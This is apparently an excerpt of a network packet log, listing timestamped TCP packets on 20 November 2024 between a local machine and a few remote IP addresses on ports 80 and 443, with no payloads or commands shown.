Nov 20, 2024 01:18:38.776525021 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776557922 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776592016 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776602983 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776624918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776649952 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776658058 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776690006 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776701927 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776724100 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776757002 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776770115 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776803017 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776835918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776869059 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776870966 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776901007 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776923895 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776933908 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776966095 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.776998043 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.776999950 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777031898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777066946 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777085066 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.777098894 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777121067 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.777144909 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777153969 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777164936 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777198076 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.777199030 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777218103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.777246952 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777280092 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777304888 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.777312994 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777347088 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.777414083 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.780450106 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780555010 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.780608892 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780641079 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780673981 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780689001 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.780708075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780741930 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780776024 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780790091 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.780810118 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780833960 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.780842066 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780875921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780903101 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.780909061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780944109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.780992031 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.782356024 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.782391071 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.782424927 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.788858891 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.788892984 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.788902998 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.788919926 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.788940907 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.788959026 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.788969994 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.788992882 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.789021015 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.789119959 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.789211035 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.789221048 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.789803028 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.789861917 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.802966118 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.802988052 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.820627928 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820657969 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820688963 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.820691109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820740938 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.820741892 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820775032 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820808887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820823908 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.820857048 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820892096 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820903063 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.820940018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820975065 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.820991039 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.821022987 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821058035 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821085930 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.821090937 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821125031 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821156979 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821173906 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.821194887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821203947 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.821225882 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821259022 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821293116 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821300983 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.821341038 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.821465015 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821496964 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821532011 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821583033 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.821589947 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.821638107 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.842370987 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.842444897 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.842480898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.842516899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.842538118 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.842567921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.842581987 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.842603922 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.842642069 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.842669964 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.895759106 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.121154070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.161377907 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.173829079 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.174232006 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.174251080 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.174722910 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.174727917 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.180341005 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.180722952 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.180737972 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.180778027 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.181349039 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.181360006 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.181514978 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.181523085 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.181915998 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.181921005 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.206249952 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.206617117 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.206667900 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.207145929 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:39.207159042 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:39.257656097 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.262620926 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262629986 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262639046 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262645960 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262654066 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262662888 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262671947 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262727022 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.262727022 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.262785912 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262794018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262803078 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262809992 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262818098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262825012 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262833118 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262836933 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.262846947 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262856007 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262861013 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.262876034 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262883902 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262892008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262900114 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262907982 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262914896 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.262916088 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262914896 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.262940884 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.262948036 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262955904 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262964010 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262970924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262974024 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.262985945 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.262994051 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263000011 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263003111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263010979 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263017893 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263035059 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263044119 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263052940 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263061047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263068914 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263068914 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263076067 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263083935 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263089895 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263092995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263108969 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263109922 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263118029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263128996 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263134003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263142109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263149977 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263158083 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263165951 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263174057 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263175964 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263183117 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263191938 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263194084 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263200998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263209105 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263212919 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263217926 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263223886 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263233900 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263252974 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263334990 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263369083 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263483047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263492107 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263506889 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263514996 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263523102 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263531923 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263546944 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263550997 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263556004 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263565063 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263572931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263577938 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263597012 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263618946 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263624907 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263628006 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263637066 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263643980 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263659954 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263665915 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263669014 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263676882 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263684988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263689041 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263693094 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263705969 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263706923 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263715982 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263724089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263725042 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263753891 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263772011 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263780117 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263787985 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263796091 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263812065 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263816118 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263820887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263828993 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263837099 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263837099 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263844967 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263853073 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263853073 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263860941 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263870001 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263885021 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263894081 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263896942 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263900995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263911009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.263940096 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.263962984 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264295101 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264312029 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264327049 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264334917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264343023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264358044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264368057 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264367104 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264400005 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264400959 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264405966 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264414072 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264421940 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264430046 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264439106 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264446974 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264453888 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264481068 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264501095 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264702082 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264710903 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264719009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264725924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264734030 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264740944 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264756918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264764071 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264764071 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264774084 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264787912 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264817953 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264858961 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264882088 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264889956 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264906883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264914036 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264930010 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264936924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264940023 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264952898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264961004 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264961004 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264977932 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264982939 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.264986038 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.264995098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265002966 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265005112 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265021086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265023947 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265031099 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265039921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265048027 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265055895 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265063047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265064955 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265070915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265079021 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265086889 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265090942 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265090942 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265094995 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265105009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265110970 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265122890 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265125990 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265126944 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:39.265131950 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:39.265136957 CET	80	49807	185.215.113.16	192.168.2.5
